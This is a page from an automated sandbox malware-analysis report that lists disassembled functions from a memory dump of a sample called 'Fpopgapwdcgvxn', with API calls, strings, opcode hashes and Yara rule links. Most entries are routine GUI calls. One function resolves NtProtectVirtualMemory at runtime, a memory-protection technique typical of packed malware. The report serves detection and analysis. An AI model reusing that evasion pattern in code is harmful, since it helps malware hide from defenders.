DrawTextA.USER32(00000000,00000000,?,?,?), ref: 032E0119

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Draw$OffsetRectText$Edge
String ID:
API String ID: 3610532707-0
Opcode ID: e757d04a822caaa49cb36ddf028efddfff750dd52677a383080a799048d94db4
Instruction ID: 94a24ad468cf4a623ac833bfc817e7fdb081ab7133853da0d4fdb600a8159575
Opcode Fuzzy Hash: e757d04a822caaa49cb36ddf028efddfff750dd52677a383080a799048d94db4
Instruction Fuzzy Hash: CB51A479A20309AFDF10EBA9C981B9EB7B9AF05710F588191F910AF291C7B4EDC18750

Uniqueness

Uniqueness Score: -1.00%

Function 032E7B58 Relevance: 7.6, APIs: 5, Instructions: 139threadCOMMON

Download Yara Rule

APIs

Part of subcall function 032E7FA0: WindowFromPoint.USER32(-000000F7,?,00000000,032E7B72,?,-00000010,?), ref: 032E7FA6
Part of subcall function 032E7FA0: GetParent.USER32(00000000), ref: 032E7FBD

GetWindow.USER32(00000000,00000004), ref: 032E7B7A
GetCurrentThreadId.KERNEL32 ref: 032E7C4E
EnumThreadWindows.USER32(00000000,032E7AEC,?), ref: 032E7C54
GetWindowRect.USER32(00000000,?), ref: 032E7C6B
IntersectRect.USER32(?,?,?), ref: 032E7CD9

Part of subcall function 032E6FE0: GetWindowThreadProcessId.USER32(?), ref: 032E6FED
Part of subcall function 032E6FE0: GetCurrentProcessId.KERNEL32(?,00000000,?,032E3C51,?,032E2D0D), ref: 032E6FF6
Part of subcall function 032E6FE0: GlobalFindAtomA.KERNEL32(00000000), ref: 032E700B
Part of subcall function 032E6FE0: GetPropA.USER32(?,00000000), ref: 032E7022

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$Thread$CurrentProcessRect$AtomEnumFindFromGlobalIntersectParentPointPropWindows
String ID:
API String ID: 2202917067-0
Opcode ID: 51660f54f7ad4f16234a5317dc64bb31ac3d24b7e0f3f18430b1337d119c80b4
Instruction ID: 19df3fe17c29d70ffbb8f04b773875b592484372747542dfb22677df772606ce
Opcode Fuzzy Hash: 51660f54f7ad4f16234a5317dc64bb31ac3d24b7e0f3f18430b1337d119c80b4
Instruction Fuzzy Hash: F8516C75A202199FCB10EF6CC485AEEB7F8BF08350F5481A5E919EB355D770E981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 032EF90C Relevance: 7.6, APIs: 5, Instructions: 126COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 032EF937
SaveDC.GDI32(00000000), ref: 032EF970
ExcludeClipRect.GDI32(00000000,?,?,?,?,00000000,032EFA2E,?,00000000), ref: 032EF9F2
RestoreDC.GDI32(00000000,?), ref: 032EFA28
EndPaint.USER32(00000000,?,032EFA72), ref: 032EFA65

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: 8372e59c3d5c56b9b07066363d5598baedd96c0a02956287160785457c0534b0
Instruction ID: cc5a0facd28d1d914f2881d8a4750cbea8c84df07f09c9650495c1068e361efc
Opcode Fuzzy Hash: 8372e59c3d5c56b9b07066363d5598baedd96c0a02956287160785457c0534b0
Instruction Fuzzy Hash: 9B41A175A14249AFDB04DFA8C955FAEBBF8FF08704F5A41A8E9049B361D774AD81CB00

Uniqueness

Uniqueness Score: -1.00%

Function 032DFD88 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62f9c0dba7c30d88d0bbd9bb0ab53a78bbb830797eea9b810b751a8907ca16f
Instruction ID: ec379136cadbc54b656414647d5e5981105fe077acf8b47fdee29224bd324b13
Opcode Fuzzy Hash: a62f9c0dba7c30d88d0bbd9bb0ab53a78bbb830797eea9b810b751a8907ca16f
Instruction Fuzzy Hash: 3A118436B713567ADB60EA398E04B9A76985F45B44F084455BD03DF347CAA8C8C582D8

Uniqueness

Uniqueness Score: -1.00%

Function 032D6164 Relevance: 7.6, APIs: 5, Instructions: 66windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 032D61BA
GetDeviceCaps.GDI32(00000000,0000000C), ref: 032D61CF
GetDeviceCaps.GDI32(00000000,0000000E), ref: 032D61D9
CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,032D4D27,00000000,032D4DB3), ref: 032D61FD
ReleaseDC.USER32(00000000,00000000), ref: 032D6208

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CapsDevice$CreateHalftonePaletteRelease
String ID:
API String ID: 2404249990-0
Opcode ID: a676d732ea28a78a5ffeab0e86a7dbc8e63a2c430c0596e67ed0b586c7f56290
Instruction ID: 4f3fa6bf07947d025be8c78f042cd08ccaef2fab94ac2cc5f480a56b14f0c49b
Opcode Fuzzy Hash: a676d732ea28a78a5ffeab0e86a7dbc8e63a2c430c0596e67ed0b586c7f56290
Instruction Fuzzy Hash: D011B2256653AA9EDB24EF24C844BEE3BA5AF51791F480161F8409F6C1D7F8C8D4C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 03300E50 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000EC), ref: 03300E84
SetWindowLongA.USER32(00000000,000000EC,00000000), ref: 03300EB6
SetLayeredWindowAttributes.USER32(00000000,?,?,00000000,00000000,000000EC,?,?,032FE5B4), ref: 03300EEF
SetWindowLongA.USER32(00000000,000000EC,00000000), ref: 03300F08
RedrawWindow.USER32(00000000,00000000,00000000,00000485,00000000,000000EC,00000000,00000000,000000EC,?,?,032FE5B4), ref: 03300F1E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$Long$AttributesLayeredRedraw
String ID:
API String ID: 1758778077-0
Opcode ID: 09a0eb2e90d0940743469b14d29b62871de0e21f44c11d650bcace88f7e3990f
Instruction ID: 3d2aa2c5d11aef641389a9d662e56c9b7015354b34e9df38f7bc3f92c9be7e80
Opcode Fuzzy Hash: 09a0eb2e90d0940743469b14d29b62871de0e21f44c11d650bcace88f7e3990f
Instruction Fuzzy Hash: CE11C665A187905ACF25FB784CE4B966B9C0F45311F0C06B5BA99EE2C7C7ECC588CB60

Uniqueness

Uniqueness Score: -1.00%

Function 032D3B78 Relevance: 7.6, APIs: 5, Instructions: 55windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 032D3B90
GetDeviceCaps.GDI32(?,00000068), ref: 032D3BAC
GetPaletteEntries.GDI32(8A080D4D,00000000,00000008,?), ref: 032D3BC4
GetPaletteEntries.GDI32(8A080D4D,00000008,00000008,?), ref: 032D3BDC
ReleaseDC.USER32(00000000,?), ref: 032D3BF8

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: EntriesPalette$CapsDeviceRelease
String ID:
API String ID: 3128150645-0
Opcode ID: dff730e50a37138b46365172f4948773fbdfb32ddafa947573f435f1269dc94e
Instruction ID: 21a530a481e0779daa9ca647fd98e2dc05c28c92f4ad616b8984e03065263a6c
Opcode Fuzzy Hash: dff730e50a37138b46365172f4948773fbdfb32ddafa947573f435f1269dc94e
Instruction Fuzzy Hash: 651104356583087FEB44DAA4CC81FAD7BFCF704710F408095F614DA5C1DAB694848722

Uniqueness

Uniqueness Score: -1.00%

Function 032BBB50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,032BBBE7,?,?,00000000), ref: 032BBB68

Part of subcall function 032BB8C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 032BB8E2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,032BBBE7,?,?,00000000), ref: 032BBB98
EnumCalendarInfoA.KERNEL32(Function_0000BA9C,00000000,00000000,00000004), ref: 032BBBA3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,032BBBE7,?,?,00000000), ref: 032BBBC1
EnumCalendarInfoA.KERNEL32(Function_0000BAD8,00000000,00000000,00000003), ref: 032BBBCC

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: b5ee29caf2315a73ee6f7af838c0e6f6ed615ba079f22fff948149f910dd6af2
Instruction ID: e418cd351779f776edc297f0ac74435fdadfb62777ce1dd90c57e2705f2b13ab
Opcode Fuzzy Hash: b5ee29caf2315a73ee6f7af838c0e6f6ed615ba079f22fff948149f910dd6af2
Instruction Fuzzy Hash: AC01F239A30744AFEA11F6688C12FDEB67CDB45790F6105A0F810EAAC4D6A59E808264

Uniqueness

Uniqueness Score: -1.00%

Function 03302588 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationthreadCOMMON

Download Yara Rule

APIs

UnhookWindowsHookEx.USER32(00000000), ref: 03302597
SetEvent.KERNEL32(00000000,03304DA2), ref: 033025B2
GetCurrentThreadId.KERNEL32 ref: 033025B7
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,03304DA2), ref: 033025CC
CloseHandle.KERNEL32(00000000,00000000,03304DA2), ref: 033025D7

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CloseCurrentEventHandleHookObjectSingleThreadUnhookWaitWindows
String ID:
API String ID: 2429646606-0
Opcode ID: f7b54ec33de260c23a229388da062d0c5e9fea09b393e5765e30bb2b6acfa47d
Instruction ID: 0f60140daa128be1a78171b84cfce4eba3cf5370d7a1f2b8f01939b5ade15c99
Opcode Fuzzy Hash: f7b54ec33de260c23a229388da062d0c5e9fea09b393e5765e30bb2b6acfa47d
Instruction Fuzzy Hash: DCF045756103009BCBA8FBF8E8D8A9A77ECE708351F08C915B15ACB589D7B494C0CF55

Uniqueness

Uniqueness Score: -1.00%

Function 032BBC00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,032BBDD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 032BBC2F

Part of subcall function 032BB8C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 032BB8E2

Strings

ggg, xrefs: 032BBD15
yyyy, xrefs: 032BBD25
eeee, xrefs: 032BBD3E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 72070016afa254f1bbbe1066e1da8560694116bcd9d1dbadafd0382206d63beb
Instruction ID: a70016df998bd33887235f8c2f44f2d529b3513cada0f99627e79f3e99a60e38
Opcode Fuzzy Hash: 72070016afa254f1bbbe1066e1da8560694116bcd9d1dbadafd0382206d63beb
Instruction Fuzzy Hash: 7F4126387342068BD711FA7AC8D12FEF2BADB813C0F580465D5A1CB356DBB8E9C58625

Uniqueness

Uniqueness Score: -1.00%

Function 032E34B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoA.USER32(00000000,00000000,000000FF), ref: 032E34FE
SetMenuItemInfoA.USER32(00000000,00000000,000000FF), ref: 032E3550
DrawMenuBar.USER32(00000000), ref: 032E355D

Strings

P, xrefs: 032E34F0

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: P
API String ID: 3227129158-3110715001
Opcode ID: 74305f8d64f08ea439394f36a7110a67afc74df5902c083808bb8c0521228476
Instruction ID: 2d8f9541dee4ab67f55e4edb03719ad4e9a78d0e81b9c2a0cbd7ca4d32c88294
Opcode Fuzzy Hash: 74305f8d64f08ea439394f36a7110a67afc74df5902c083808bb8c0521228476
Instruction Fuzzy Hash: 42119174625301AFD311DB2CCC81B8ABAD9AF88365F588A68F1A5CB3D4D775C884C746

Uniqueness

Uniqueness Score: -1.00%

Function 032CFC1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 032CFC29
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 032CFC2F

Strings

NtProtectVirtualMemory, xrefs: 032CFC1F
C:\Windows\System32\ntdll.dll, xrefs: 032CFC24

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Windows\System32\ntdll.dll$NtProtectVirtualMemory
API String ID: 1646373207-1386159242
Opcode ID: c0e5f333a9f5ecddbc65b5ad4665f3aa71611e5da3e37fa546e596a18f3af927
Instruction ID: 80f32928115158fdaf8d989e5c193cde5423419b4af9f1aaefc493fd0b05e42a
Opcode Fuzzy Hash: c0e5f333a9f5ecddbc65b5ad4665f3aa71611e5da3e37fa546e596a18f3af927
Instruction Fuzzy Hash: 80E0ECB6260349BFCB80EFACD985DCB3BFCAB1C760B004005BA19D7602C671E9919B71

Uniqueness

Uniqueness Score: -1.00%

Function 032BD6A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0331910B,00000000,0331911E), ref: 032BD6A6
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 032BD6B7

Strings

kernel32.dll, xrefs: 032BD6A1
GetDiskFreeSpaceExA, xrefs: 032BD6B1

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 6d13459986519e6025936792f54e17b7a25b5a8c519d4d66310f915227ca42aa
Instruction ID: 2b7301584b62a453f922d177980809db3147a61a0778524b264a9e34874685c3
Opcode Fuzzy Hash: 6d13459986519e6025936792f54e17b7a25b5a8c519d4d66310f915227ca42aa
Instruction Fuzzy Hash: 2CD052A023238A4FDA00FEA478C06C92AFCAB003A3F080525A41CAA20AC7F0C8C2C700

Uniqueness

Uniqueness Score: -1.00%

Function 032ED544 Relevance: 6.3, APIs: 4, Instructions: 308COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00000000,00000000), ref: 032ED6C3
MulDiv.KERNEL32(?,?,?), ref: 032ED6FE

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf82abc7bfd78b7cf407fd1ca3a6fb92910d76b92e317fad021248613bc2848
Instruction ID: eeeceff764ee7e387e107842f48edce11407f652de4495044f676cbb05c283d5
Opcode Fuzzy Hash: 4bf82abc7bfd78b7cf407fd1ca3a6fb92910d76b92e317fad021248613bc2848
Instruction Fuzzy Hash: A7D16A74A04A0ADFDB11CF79C484BAABBF6FF49300F548958E4AA9B354C771E981CB50

Uniqueness

Uniqueness Score: -1.00%

Function 032E80F8 Relevance: 6.2, APIs: 4, Instructions: 212COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 032E816D
GetDesktopWindow.USER32 ref: 032E829D
SetCursor.USER32(00000000), ref: 032E82F2

Part of subcall function 032F3C48: ImageList_EndDrag.COMCTL32(?,-00000010,032E82CD), ref: 032F3C64

SetCursor.USER32(00000000), ref: 032E82DD

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CursorDesktopWindow$DragImageList_
String ID:
API String ID: 617806055-0
Opcode ID: ccb84be38efbd23f2fbf01f6d0d17f550798f3357e56ce7c6d3f617a51767382
Instruction ID: 5af976f6c6da1246be9d8f65a5a60adaa809c66be6758b1a7de92e12537ae67d
Opcode Fuzzy Hash: ccb84be38efbd23f2fbf01f6d0d17f550798f3357e56ce7c6d3f617a51767382
Instruction Fuzzy Hash: 6C915838650641CFC708EF28E2C5A5AB7E9FB95700F48C594E896AB36DC770EC85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 032BF554 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 032BF603
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 032BF61F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 032BF696
VariantClear.OLEAUT32(?), ref: 032BF6BF

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 2c7318cfb23a341698aadd3802a4b2efd30d813eb843b592ba93f5efceb38066
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 1F41FA79A1171AAFCB61EF58CD90BC9B3BCAB08340F0441D5EA49E7211DA70AFC08F64

Uniqueness

Uniqueness Score: -1.00%

Function 032BBE3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 032BBE59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 032BBE7D
GetModuleFileNameA.KERNEL32(032B0000,?,00000105), ref: 032BBE98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 032BBF2E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: e45f37306e2736e36fd61dce08079ee1cca931017b2d7d80e1c5139dcc2f2c69
Instruction ID: d391666d6ad76fda97e3896b760e8c7643be750eed368fe41221d24661a514c3
Opcode Fuzzy Hash: e45f37306e2736e36fd61dce08079ee1cca931017b2d7d80e1c5139dcc2f2c69
Instruction Fuzzy Hash: D0411E75A203589BDB21EB68CC84BDAB7FDAB18380F4440E9E508EB255D7B49FC48F50

Uniqueness

Uniqueness Score: -1.00%

Function 032BBE3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 032BBE59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 032BBE7D
GetModuleFileNameA.KERNEL32(032B0000,?,00000105), ref: 032BBE98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 032BBF2E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 40d404f17392740e3f187c071d5243610341f93afebe17c0357a001cbe621a28
Instruction ID: ce0955a5847051dbc0fc6a9dfbd32fd1d468aebe31c2c23212dd3711792502a4
Opcode Fuzzy Hash: 40d404f17392740e3f187c071d5243610341f93afebe17c0357a001cbe621a28
Instruction Fuzzy Hash: BF410E75A203589BDB21EB68CC84BDAB7FD9B18380F4440E9E648EB255D7B49FC48F50

Uniqueness

Uniqueness Score: -1.00%

Function 03301550 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

GetKeyboardLayout.USER32(00000000), ref: 03301595
GetDC.USER32(00000000), ref: 033015EA
GetDeviceCaps.GDI32(00000000,0000005A), ref: 033015F4
ReleaseDC.USER32(00000000,00000000), ref: 033015FF

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CapsDeviceKeyboardLayoutRelease
String ID:
API String ID: 3331096196-0
Opcode ID: c5dfc0bf465cd0eb1a682daf3b5149ac52e2dd013a0625a89a988637131a29b4
Instruction ID: 01140b28368e21d9cd405e06e03a6a8a071e94abe1769b29e88b7bb0ba36d9ba
Opcode Fuzzy Hash: c5dfc0bf465cd0eb1a682daf3b5149ac52e2dd013a0625a89a988637131a29b4
Instruction Fuzzy Hash: 61311B78A203418FC350EF2DE8C4B897BE0AB04354F4581A9E918CF396DA72A8888B54

Uniqueness

Uniqueness Score: -1.00%

Function 032D4CD4 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 032D2EA4: EnterCriticalSection.KERNEL32(033303A0,00000000,032D1856,00000000,032D18B5), ref: 032D2EAC
